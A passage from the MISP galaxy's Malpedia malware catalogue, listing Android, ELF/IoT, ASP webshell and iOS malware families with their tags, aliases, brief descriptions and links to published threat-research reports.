https://www.lookout.com/info/stealth-mango-report-ty

Svpeng

The tag is: misp-galaxy:malpedia="Svpeng"

Svpeng is also known as:

Table 851. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.svpeng
https://securelist.com/a-new-era-in-mobile-banking-trojans/79198/

Switcher

The tag is: misp-galaxy:malpedia="Switcher"

Switcher is also known as:

Table 852. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.switcher
https://securelist.com/blog/mobile/76969/switcher-android-joins-the-attack-the-router-club/

TalentRAT

The tag is: misp-galaxy:malpedia="TalentRAT"

TalentRAT is also known as:

Assassin RAT

Table 853. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.talent_rat
https://twitter.com/LukasStefanko/status/1118066622512738304

TeleRAT

The tag is: misp-galaxy:malpedia="TeleRAT"

TeleRAT is also known as:

Table 854. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.telerat
https://researchcenter.paloaltonetworks.com/2018/03/unit42-telerat-another-android-trojan-leveraging-telegrams-bot-api-to-target-iranian-users/

TemptingCedar Spyware

The tag is: misp-galaxy:malpedia="TemptingCedar Spyware"

TemptingCedar Spyware is also known as:

Table 855. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.tempting_cedar
https://blog.avast.com/avast-tracks-down-tempting-cedar-spyware

TinyZ

The tag is: misp-galaxy:malpedia="TinyZ"

TinyZ is also known as:

Catelites Android Bot
MarsElite Android Bot

Table 856. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.tinyz
http://blog.group-ib.com/cron

Titan

The tag is: misp-galaxy:malpedia="Titan"

Titan is also known as:

Table 857. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.titan
https://blog.lookout.com/titan-mobile-threat
https://www.alienvault.com/blogs/labs-research/delivery-keyboy

Triada

The tag is: misp-galaxy:malpedia="Triada"

Triada is also known as:

Table 858. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.triada
https://www.nowsecure.com/blog/2016/11/21/android-malware-analysis-radare-triada-trojan/
https://blog.checkpoint.com/2016/06/17/in-the-wild-mobile-malware-implements-new-features/
https://securelist.com/everyone-sees-not-what-they-want-to-see/74997/
https://securelist.com/attack-on-zygote-a-new-twist-in-the-evolution-of-mobile-threats/74032/
http://contagiominidump.blogspot.de/2016/07/android-triada-modular-trojan.html

Triout

Bitdefender described Triout as a Android spyware, which appears to act as a framework for building extensive surveillance capabilities into seemingly benign applications. Found bundled with a repackaged app, the spyware’s surveillance capabilities involve hiding its presence on the device, recording phone calls, logging incoming text messages, recoding videos, taking pictures and collecting GPS coordinates, then broadcasting all of that to an attacker-controlled C&C (command and control) server.

The tag is: misp-galaxy:malpedia="Triout"

Triout is also known as:

Table 859. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.triout
https://labs.bitdefender.com/wp-content/uploads/downloads/triout-the-malware-framework-for-android-that-packs-potent-spyware-capabilities/

Unidentified APK 001

The tag is: misp-galaxy:malpedia="Unidentified APK 001"

Unidentified APK 001 is also known as:

Table 860. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.unidentified_001
https://twitter.com/illegalFawn/status/826775250583035904

Unidentified APK 002

The tag is: misp-galaxy:malpedia="Unidentified APK 002"

Unidentified APK 002 is also known as:

Table 861. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.unidentified_002

Viper RAT

The tag is: misp-galaxy:malpedia="Viper RAT"

Viper RAT is also known as:

Table 862. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.viper_rat
https://securelist.com/blog/incidents/77562/breaking-the-weakest-link-of-the-strongest-chain/
https://blog.lookout.com/blog/2017/02/16/viperrat-mobile-apt/

WireX

The tag is: misp-galaxy:malpedia="WireX"

WireX is also known as:

Table 863. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.wirex
https://krebsonsecurity.com/2017/08/tech-firms-team-up-to-take-down-wirex-android-ddos-botnet/
https://www.flashpoint-intel.com/blog/wirex-botnet-industry-collaboration/

Xbot

The tag is: misp-galaxy:malpedia="Xbot"

Xbot is also known as:

Table 864. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.xbot
https://blog.avast.com/2015/02/17/angry-android-hacker-hides-xbot-malware-in-popular-application-icons/
https://researchcenter.paloaltonetworks.com/2016/02/new-android-trojan-xbot-phishes-credit-cards-and-bank-accounts-encrypts-devices-for-ransom/

XLoader

The tag is: misp-galaxy:malpedia="XLoader"

XLoader is also known as:

Table 865. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.xloader
https://blog.trendmicro.com/trendlabs-security-intelligence/xloader-android-spyware-and-banking-trojan-distributed-via-dns-spoofing/
https://blog.trendmicro.com/trendlabs-security-intelligence/a-look-into-the-connection-between-xloader-and-fakespy-and-their-possible-ties-with-the-yanbian-gang/

XRat

The tag is: misp-galaxy:malpedia="XRat"

XRat is also known as:

Table 866. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.xrat
https://blog.lookout.com/xrat-mobile-threat

YellYouth

The tag is: misp-galaxy:malpedia="YellYouth"

YellYouth is also known as:

Table 867. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.yellyouth
https://www.mulliner.org/blog/blosxom.cgi/security/yellyouth_android_malware.html

Zen

The tag is: misp-galaxy:malpedia="Zen"

Zen is also known as:

Table 868. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.zen
https://security.googleblog.com/2019/01/pha-family-highlights-zen-and-its.html

ZooPark

The tag is: misp-galaxy:malpedia="ZooPark"

ZooPark is also known as:

Table 869. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.zoopark
https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/05/03114450/ZooPark_for_public_final_edit.pdf
https://securelist.com/whos-who-in-the-zoo/85394

Ztorg

The tag is: misp-galaxy:malpedia="Ztorg"

Ztorg is also known as:

Qysly

Table 870. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.ztorg
http://blog.fortinet.com/2017/03/08/teardown-of-android-ztorg-part-2
https://blog.fortinet.com/2017/03/15/teardown-of-a-recent-variant-of-android-ztorg-part-1
https://securelist.com/ztorg-from-rooting-to-sms/78775/

TwoFace

The tag is: misp-galaxy:malpedia="TwoFace"

TwoFace is also known as:

HyperShell

Table 871. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/asp.twoface
https://unit42.paloaltonetworks.com/unit42-oilrig-performs-tests-twoface-webshell/
https://www.zdnet.com/article/source-code-of-iranian-cyber-espionage-tools-leaked-on-telegram/
https://www.sans.org/cyber-security-summit/archives/file/summit-archive-1536345486.pdf
https://unit42.paloaltonetworks.com/unit42-twoface-webshell-persistent-access-point-lateral-movement/

Unidentified ASP 001 (Webshell)

The tag is: misp-galaxy:malpedia="Unidentified ASP 001 (Webshell)"

Unidentified ASP 001 (Webshell) is also known as:

Table 872. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/asp.unidentified_001

Irc16

The tag is: misp-galaxy:malpedia="Irc16"

Irc16 is also known as:

Table 873. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.backdoor_irc16
https://news.drweb.com/show/?c=5&i=10193&lng=en

Bashlite

The tag is: misp-galaxy:malpedia="Bashlite"

Bashlite is also known as:

Gafgyt
gayfgt
lizkebab
qbot
torlus

Table 874. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.bashlite
http://blog.trendmicro.com/trendlabs-security-intelligence/bashlite-affects-devices-running-on-busybox/
https://honeynet.org/sites/default/files/Bots_Keep_Talking_To_Us.pdf
https://krebsonsecurity.com/2016/09/krebsonsecurity-hit-with-record-ddos/

BCMPUPnP_Hunter

The tag is: misp-galaxy:malpedia="BCMPUPnP_Hunter"

BCMPUPnP_Hunter is also known as:

Table 875. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.bcmpupnp_hunter
https://blog.netlab.360.com/bcmpupnp_hunter-a-100k-botnet-turns-home-routers-to-email-spammers-en/

CDorked

This is in the same family as eBury, Calfbot, and is also likely related to DarkLeech

The tag is: misp-galaxy:malpedia="CDorked"

CDorked is also known as:

CDorked.A

Table 876. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.cdorked
https://www.welivesecurity.com/2013/04/26/linuxcdorked-new-apache-backdoor-in-the-wild-serves-blackhole/
https://blog.sucuri.net/2014/03/windigo-linux-analysis-ebury-and-cdorked.html
https://www.symantec.com/security-center/writeup/2013-050214-5501-99
https://www.welivesecurity.com/2013/05/02/the-stealthiness-of-linuxcdorked-a-clarification/
https://blogs.cisco.com/security/linuxcdorked-faqs

Chapro

The tag is: misp-galaxy:malpedia="Chapro"

Chapro is also known as:

Table 877. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.chapro
http://contagiodump.blogspot.com/2012/12/dec-2012-linuxchapro-trojan-apache.html
http://blog.eset.com/2012/12/18/malicious-apache-module-used-for-content-injection-linuxchapro-a

Cpuminer (ELF)

This was observed to be pushed by IoT malware, abusing devices for LiteCoin and BitCoin mining.

The tag is: misp-galaxy:malpedia="Cpuminer (ELF)"

Cpuminer (ELF) is also known as:

Table 878. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.cpuminer
https://github.com/pooler/cpuminer

Cr1ptT0r

The tag is: misp-galaxy:malpedia="Cr1ptT0r"

Cr1ptT0r is also known as:

CriptTor

Table 879. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.cr1ptt0r
https://resolverblog.blogspot.com/2019/03/de-cr1pt0r-tool-cr1pt0r-ransomware.html
https://www.bleepingcomputer.com/news/security/cr1ptt0r-ransomware-infects-d-link-nas-devices-targets-embedded-systems/
https://resolverblog.blogspot.com/2019/02/d-link-dns-320-nas-cr1ptt0r-ransomware.html

Ebury

This payload has been used to compromise kernel.org back in August of 2011 and has hit cPanel Support which in turn, has infected quite a few cPanel servers. It is a credential stealing payload which steals SSH keys, passwords, and potentially other credentials.

This family is part of a wider range of tools which are described in detail in the operation windigo whitepaper by ESET.

The tag is: misp-galaxy:malpedia="Ebury"

Ebury is also known as:

Table 880. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.ebury
https://www.welivesecurity.com/wp-content/uploads/2014/03/operation_windigo.pdf
https://www.welivesecurity.com/2014/02/21/an-in-depth-analysis-of-linuxebury/
https://www.welivesecurity.com/2017/10/30/windigo-ebury-update-2/
https://www.justice.gov/opa/pr/russian-citizen-pleads-guilty-involvement-global-botnet-conspiracy
https://www.welivesecurity.com/wp-content/uploads/2018/12/ESET-The_Dark_Side_of_the_ForSSHe.pdf
https://www.welivesecurity.com/2018/12/05/dark-side-of-the-forsshe/

Erebus (ELF)

The tag is: misp-galaxy:malpedia="Erebus (ELF)"

Erebus (ELF) is also known as:

Table 881. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.erebus
https://blog.trendmicro.com/trendlabs-security-intelligence/erebus-resurfaces-as-linux-ransomware/

ext4

The tag is: misp-galaxy:malpedia="ext4"

ext4 is also known as:

Table 882. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.ext4
https://www.recordedfuture.com/chinese-cyberespionage-operations/

FBot

The tag is: misp-galaxy:malpedia="FBot"

FBot is also known as:

Table 883. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.fbot
https://securitynews.sonicwall.com/xmlpost/vigilante-malware-removes-cryptominers-from-the-infected-device/

Haiduc

The tag is: misp-galaxy:malpedia="Haiduc"

Haiduc is also known as:

Table 884. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.haiduc
https://documents.trendmicro.com/assets/Perl-Based_Shellbot_Looks_to_Target_Organizations_via_C&C_appendix.pdf

Hajime

The tag is: misp-galaxy:malpedia="Hajime"

Hajime is also known as:

Table 885. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.hajime
https://security.rapiditynetworks.com/publications/2016-10-16/hajime.pdf
https://honeynet.org/sites/default/files/Bots_Keep_Talking_To_Us.pdf
https://x86.re/blog/hajime-a-follow-up/
http://blog.netlab.360.com/hajime-status-report-en/
https://www.symantec.com/connect/blogs/hajime-worm-battles-mirai-control-internet-things
https://security.radware.com/WorkArea/DownloadAsset.aspx?id=1461
https://blog.netlab.360.com/quick-summary-port-8291-scan-en/
https://github.com/Psychotropos/hajime_hashes

Hakai

The tag is: misp-galaxy:malpedia="Hakai"

Hakai is also known as:

Table 886. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.hakai
https://researchcenter.paloaltonetworks.com/2018/07/unit42-finds-new-mirai-gafgyt-iotlinux-botnet-campaigns/

Hide and Seek

The tag is: misp-galaxy:malpedia="Hide and Seek"

Hide and Seek is also known as:

Table 887. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.hideandseek
https://www.bleepingcomputer.com/news/security/hide-and-seek-becomes-first-iot-botnet-capable-of-surviving-device-reboots/
https://threatlabs.avast.com/botnet
https://blog.avast.com/hide-n-seek-botnet-continues
https://labs.bitdefender.com/2018/01/new-hide-n-seek-iot-botnet-using-custom-built-peer-to-peer-communication-spotted-in-the-wild/
https://blog.netlab.360.com/hns-botnet-recent-activities-en/
https://www.bleepingcomputer.com/news/security/hns-evolves-from-iot-to-cross-platform-botnet/
https://labs.bitdefender.com/2018/05/hide-and-seek-iot-botnet-resurfaces-with-new-tricks-persistence/
https://www.bleepingcomputer.com/news/security/new-hns-iot-botnet-has-already-amassed-14k-bots/
https://www.fortinet.com/blog/threat-research/searching-for-the-reuse-of-mirai-code—hide—n-seek-bot.html

IoT Reaper

The tag is: misp-galaxy:malpedia="IoT Reaper"

IoT Reaper is also known as:

IoTroop
Reaper

Table 888. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.iot_reaper
http://blog.netlab.360.com/iot_reaper-a-rappid-spreading-new-iot-botnet-en/
https://krebsonsecurity.com/2017/10/reaper-calm-before-the-iot-security-storm
https://research.checkpoint.com/new-iot-botnet-storm-coming/
https://embedi.com/blog/grim-iot-reaper-1-and-0-day-vulnerabilities-at-the-service-of-botnets/

JenX

The tag is: misp-galaxy:malpedia="JenX"

JenX is also known as:

Table 889. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.jenx
https://blog.radware.com/security/2018/02/jenx-los-calvos-de-san-calvicie/

Kaiten

The tag is: misp-galaxy:malpedia="Kaiten"

Kaiten is also known as:

Table 890. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.kaiten
https://www.akamai.com/us/en/multimedia/documents/state-of-the-internet/kaiten-std-router-ddos-malware-threat-advisory.pdf

Lady

The tag is: misp-galaxy:malpedia="Lady"

Lady is also known as:

Table 891. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.lady
https://news.drweb.com/news/?i=10140&lng=en

Masuta

Masuta takes advantage of the EDB 38722 D-Link exploit.

The tag is: misp-galaxy:malpedia="Masuta"

Masuta is also known as:

PureMasuta

Table 892. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.masuta
https://threatpost.com/satori-author-linked-to-new-mirai-variant-masuta/129640/
https://blog.newskysecurity.com/masuta-satori-creators-second-botnet-weaponizes-a-new-router-exploit-2ddc51cc52a7
https://www.virusbulletin.com/virusbulletin/2018/12/vb2018-paper-tracking-mirai-variants/#h2-appendix-sample-sha256-hashes

MiKey

The tag is: misp-galaxy:malpedia="MiKey"

MiKey is also known as:

Table 893. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.mikey
https://securitykitten.github.io/2016/12/14/mikey.html

Mirai (ELF)

The tag is: misp-galaxy:malpedia="Mirai (ELF)"

Mirai (ELF) is also known as:

Table 894. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai
https://www.bleepingcomputer.com/news/security/mirai-activity-picks-up-once-more-after-publication-of-poc-exploit-code/
http://osint.bambenekconsulting.com/feeds/
https://krebsonsecurity.com/2017/12/mirai-iot-botnet-co-authors-plead-guilty/
https://honeynet.org/sites/default/files/Bots_Keep_Talking_To_Us.pdf
https://krebsonsecurity.com/2016/10/source-code-for-iot-botnet-mirai-released/
https://isc.sans.edu/diary/22786
https://github.com/jgamblin/Mirai-Source-Code
http://www.simonroses.com/2016/10/mirai-ddos-botnet-source-code-binary-analysis/
https://researchcenter.paloaltonetworks.com/2018/07/unit42-finds-new-mirai-gafgyt-iotlinux-botnet-campaigns/
https://unit42.paloaltonetworks.com/mirai-compiled-for-new-processor-surfaces/

Mokes (ELF)

The tag is: misp-galaxy:malpedia="Mokes (ELF)"

Mokes (ELF) is also known as:

Table 895. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.mokes
https://securelist.com/from-linux-to-windows-new-family-of-cross-platform-desktop-backdoors-discovered/73503/

Moose

The tag is: misp-galaxy:malpedia="Moose"

Moose is also known as:

Table 896. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.moose
http://www.welivesecurity.com/2015/05/26/moose-router-worm/
http://gosecure.net/2016/11/02/exposing-the-ego-market-the-cybercrime-performed-by-the-linux-moose-botnet/
http://www.welivesecurity.com/2016/11/02/linuxmoose-still-breathing/

MrBlack

The tag is: misp-galaxy:malpedia="MrBlack"

MrBlack is also known as:

Table 897. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.mrblack
https://news.drweb.com/?i=5760&c=23&lng=en

Owari

Mirai variant by actor "Anarchy" that used CVE-2017-17215 in July 2018 to compromise 18,000+ devices.

The tag is: misp-galaxy:malpedia="Owari"

Owari is also known as:

Table 898. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.owari
https://www.fortinet.com/blog/threat-research/a-wicked-family-of-bots.html
https://twitter.com/360Netlab/status/1019759516789821441
https://twitter.com/hrbrmstr/status/1019922651203227653
https://blog.newskysecurity.com/understanding-the-iot-hacker-a-conversation-with-owari-sora-iot-botnet-author-117feff56863
https://www.bleepingcomputer.com/news/security/router-crapfest-malware-author-builds-18-000-strong-botnet-in-a-day/
https://www.scmagazine.com/malware-author-anarchy-builds-18000-strong-huawei-router-botnet/article/782395/
https://twitter.com/ankit_anubhav/status/1019647993547550720

Penquin Turla

The tag is: misp-galaxy:malpedia="Penquin Turla"

Penquin Turla is also known as:

Table 899. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.penquin_turla
https://securelist.com/files/2017/04/Penquins_Moonlit_Maze_AppendixB.pdf
https://twitter.com/juanandres_gs/status/944741575837528064
https://securelist.com/files/2017/04/Penquins_Moonlit_Maze_PDF_eng.pdf

PerlBot

The tag is: misp-galaxy:malpedia="PerlBot"

PerlBot is also known as:

DDoS Perl IrcBot
ShellBot

Table 900. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.perlbot
https://documents.trendmicro.com/assets/Perl-Based_Shellbot_Looks_to_Target_Organizations_via_C&C_appendix.pdf

Persirai

The tag is: misp-galaxy:malpedia="Persirai"

Persirai is also known as:

Table 901. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.persirai
http://blog.trendmicro.com/trendlabs-security-intelligence/persirai-new-internet-things-iot-botnet-targets-ip-cameras/

pupy (ELF)

Pupy is an open-source, cross-platform RAT and post-exploitation framework mainly written in python. Pupy can be loaded from various loaders, including PE EXE, reflective DLL, Linux ELF, pure python, powershell and APK. Most of the loaders bundle an embedded python runtime, python library modules in source/compiled/native forms as well as a flexible configuration. They bootstrap a python runtime environment mostly in-memory for the later stages of pupy to run in. Pupy can communicate using various transports, migrate into processes, load remote python code, python packages and python C-extensions from memory.

The tag is: misp-galaxy:malpedia="pupy (ELF)"

pupy (ELF) is also known as:

Table 902. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.pupy
https://github.com/n1nj4sec/pupy

r2r2

The tag is: misp-galaxy:malpedia="r2r2"

r2r2 is also known as:

Table 903. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.r2r2
https://www.guardicore.com/2018/06/operation-prowli-traffic-manipulation-cryptocurrency-mining/

Rakos

The tag is: misp-galaxy:malpedia="Rakos"

Rakos is also known as:

Table 904. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.rakos
http://www.welivesecurity.com/2016/12/20/new-linuxrakos-threat-devices-servers-ssh-scan/

Rex

The tag is: misp-galaxy:malpedia="Rex"

Rex is also known as:

Table 905. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.rex
https://rednaga.io/2016/09/21/reversing_go_binaries_like_a_pro/
https://thisissecurity.net/2016/10/28/octopus-rex-evolution-of-a-multi-task-botnet/

Satori

Satori is a variation of elf.mirai which was first detected around 2017-11-27 by 360 Netlab. It uses exploit to exhibit worm-like behaviour to spread over ports 37215 and 52869 (CVE-2014-8361).

The tag is: misp-galaxy:malpedia="Satori"

Satori is also known as:

Table 906. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.satori
https://www.arbornetworks.com/blog/asert/the-arc-of-satori/
http://blog.netlab.360.com/art-of-steal-satori-variant-is-robbing-eth-bitcoin-by-replacing-wallet-address-en/
https://blog.radware.com/security/botnets/2018/02/new-satori-botnet-variant-enslaves-thousands-dasan-wifi-routers/
http://www.eweek.com/security/collaborative-takedown-kills-iot-worm-satori
http://blog.netlab.360.com/warning-satori-a-new-mirai-variant-is-spreading-in-worm-style-on-port-37215-and-52869-en/
https://krebsonsecurity.com/2018/09/alleged-satori-iot-botnet-operator-sought-media-spotlight-got-indicted/

ShellBind

The tag is: misp-galaxy:malpedia="ShellBind"

ShellBind is also known as:

Table 907. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.shellbind
http://blog.trendmicro.com/trendlabs-security-intelligence/linux-users-urged-update-new-threat-exploits-sambacry

Shishiga

The tag is: misp-galaxy:malpedia="Shishiga"

Shishiga is also known as:

Table 908. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.shishiga
https://www.welivesecurity.com/2017/04/25/linux-shishiga-malware-using-lua-scripts/

Spamtorte

The tag is: misp-galaxy:malpedia="Spamtorte"

Spamtorte is also known as:

Table 909. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.spamtorte
http://cyber.verint.com/resource/spamtorte-v2-investigating-a-multi-layered-spam-botnet/

SpeakUp

The tag is: misp-galaxy:malpedia="SpeakUp"

SpeakUp is also known as:

Table 910. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.speakup
https://research.checkpoint.com/speakup-a-new-undetected-backdoor-linux-trojan/

SSHDoor

The tag is: misp-galaxy:malpedia="SSHDoor"

SSHDoor is also known as:

Table 911. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.sshdoor
http://contagiodump.blogspot.com/2013/02/linux-sshdoor-sample.html

Stantinko

The tag is: misp-galaxy:malpedia="Stantinko"

Stantinko is also known as:

Table 912. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.stantinko
https://www.welivesecurity.com/2017/07/20/stantinko-massive-adware-campaign-operating-covertly-since-2012/

Sunless

The tag is: misp-galaxy:malpedia="Sunless"

Sunless is also known as:

Table 913. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.sunless
https://www.securityartwork.es/2019/01/09/analisis-de-linux-sunless/

Torii

The tag is: misp-galaxy:malpedia="Torii"

Torii is also known as:

Table 914. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.torii
https://blog.avast.com/new-torii-botnet-threat-research

Trump Bot

The tag is: misp-galaxy:malpedia="Trump Bot"

Trump Bot is also known as:

Table 915. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.trump_bot
http://paper.seebug.org/345/

Tsunami (ELF)

The tag is: misp-galaxy:malpedia="Tsunami (ELF)"

Tsunami (ELF) is also known as:

Amnesia
Muhstik
Radiation

Table 916. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.tsunami
http://researchcenter.paloaltonetworks.com/2017/04/unit42-new-iotlinux-malware-targets-dvrs-forms-botnet/
http://get.cyberx-labs.com/radiation-report
https://www.8ackprotect.com/blog/big_brother_is_attacking_you
https://threatpost.com/muhstik-botnet-exploits-highly-critical-drupal-bug/131360/

Turla RAT

The tag is: misp-galaxy:malpedia="Turla RAT"

Turla RAT is also known as:

Table 917. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.turla_rat

Umbreon

The tag is: misp-galaxy:malpedia="Umbreon"

Umbreon is also known as:

Espeon

Table 918. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.umbreon
http://blog.trendmicro.com/trendlabs-security-intelligence/pokemon-themed-umbreon-linux-rootkit-hits-x86-arm-systems/
http://contagiodump.blogspot.com/2018/03/rootkit-umbreon-umreon-x86-arm-samples.html

elf.vpnfilter

The tag is: misp-galaxy:malpedia="elf.vpnfilter"

elf.vpnfilter is also known as:

Table 919. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.vpnfilter
https://blog.talosintelligence.com/2018/06/vpnfilter-update.html?m=1
https://blog.talosintelligence.com/2018/09/vpnfilter-part-3.html
https://securelist.com/vpnfilter-exif-to-c2-mechanism-analysed/85721/
https://blog.trendmicro.com/trendlabs-security-intelligence/vpnfilter-affected-devices-still-riddled-with-19-vulnerabilities
https://www.justice.gov/opa/pr/justice-department-announces-actions-disrupt-advanced-persistent-threat-28-botnet-infected
https://blog.talosintelligence.com/2018/05/VPNFilter.html
https://www.sophos.com/en-us/medialibrary/PDFs/technical-papers/sophos-VPN-Filter-analysis-v2.pdf?la=en
https://www.symantec.com/blogs/threat-intelligence/vpnfilter-iot-malware

elf.wellmess

The tag is: misp-galaxy:malpedia="elf.wellmess"

elf.wellmess is also known as:

Table 920. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.wellmess

Wirenet (ELF)

The tag is: misp-galaxy:malpedia="Wirenet (ELF)"

Wirenet (ELF) is also known as:

Table 921. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.wirenet
http://contagiodump.blogspot.com/2012/12/aug-2012-backdoorwirenet-osx-and-linux.html
https://news.drweb.com/show/?i=2679&lng=en&c=14

X-Agent (ELF)

The tag is: misp-galaxy:malpedia="X-Agent (ELF)"

X-Agent (ELF) is also known as:

chopstick
fysbis
splm

Table 922. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.xagent
https://contagiodump.blogspot.de/2017/02/russian-apt-apt28-collection-of-samples.html
https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/
http://researchcenter.paloaltonetworks.com/2016/02/a-look-into-fysbis-sofacys-linux-backdoor/
https://download.bitdefender.com/resources/media/materials/white-papers/en/Bitdefender_In-depth_analysis_of_APT28%E2%80%93The_Political_Cyber-Espionage.pdf
http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf

Xaynnalc

The tag is: misp-galaxy:malpedia="Xaynnalc"

Xaynnalc is also known as:

Table 923. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.xaynnalc
https://twitter.com/michalmalik/status/846368624147353601

Xbash

The tag is: misp-galaxy:malpedia="Xbash"

Xbash is also known as:

Table 924. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.xbash
https://researchcenter.paloaltonetworks.com/2018/09/unit42-xbash-combines-botnet-ransomware-coinmining-worm-targets-linux-windows/

XOR DDoS

Linux DDoS C&C Malware

The tag is: misp-galaxy:malpedia="XOR DDoS"

XOR DDoS is also known as:

Table 925. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.xorddos
https://en.wikipedia.org/wiki/Xor_DDoS
https://bartblaze.blogspot.com/2015/09/notes-on-linuxxorddos.html
https://www.fireeye.com/blog/threat-research/2015/02/anatomy_of_a_brutef.html

Zollard

The tag is: misp-galaxy:malpedia="Zollard"

Zollard is also known as:

darlloz

Table 926. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.zollard
https://blogs.cisco.com/security/the-internet-of-everything-including-malware

AutoCAD Downloader

Small downloader composed as a Fast-AutoLoad LISP (FAS) module for AutoCAD.

The tag is: misp-galaxy:malpedia="AutoCAD Downloader"

AutoCAD Downloader is also known as:

Acad.Bursted
Duxfas

Table 927. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/fas.acad
https://github.com/Hopfengetraenk/Fas-Disasm
https://www.forcepoint.com/blog/security-labs/autocad-malware-computer-aided-theft

DualToy (iOS)

The tag is: misp-galaxy:malpedia="DualToy (iOS)"

DualToy (iOS) is also known as:

Table 928. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/ios.dualtoy
http://researchcenter.paloaltonetworks.com/2016/09/dualtoy-new-windows-trojan-sideloads-risky-apps-to-android-and-ios-devices/

GuiInject

The tag is: misp-galaxy:malpedia="GuiInject"

GuiInject is also known as:

Table 929. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/ios.guiinject
https://sentinelone.com/blogs/analysis-ios-guiinject-adware-library/

WireLurker (iOS)

The iOS malware that is installed over USB by osx.wirelurker

The tag is: misp-galaxy:malpedia="WireLurker (iOS)"

WireLurker (iOS) is also known as:

Table 930. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/ios.wirelurker
https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-wirelurker.pdf

AdWind

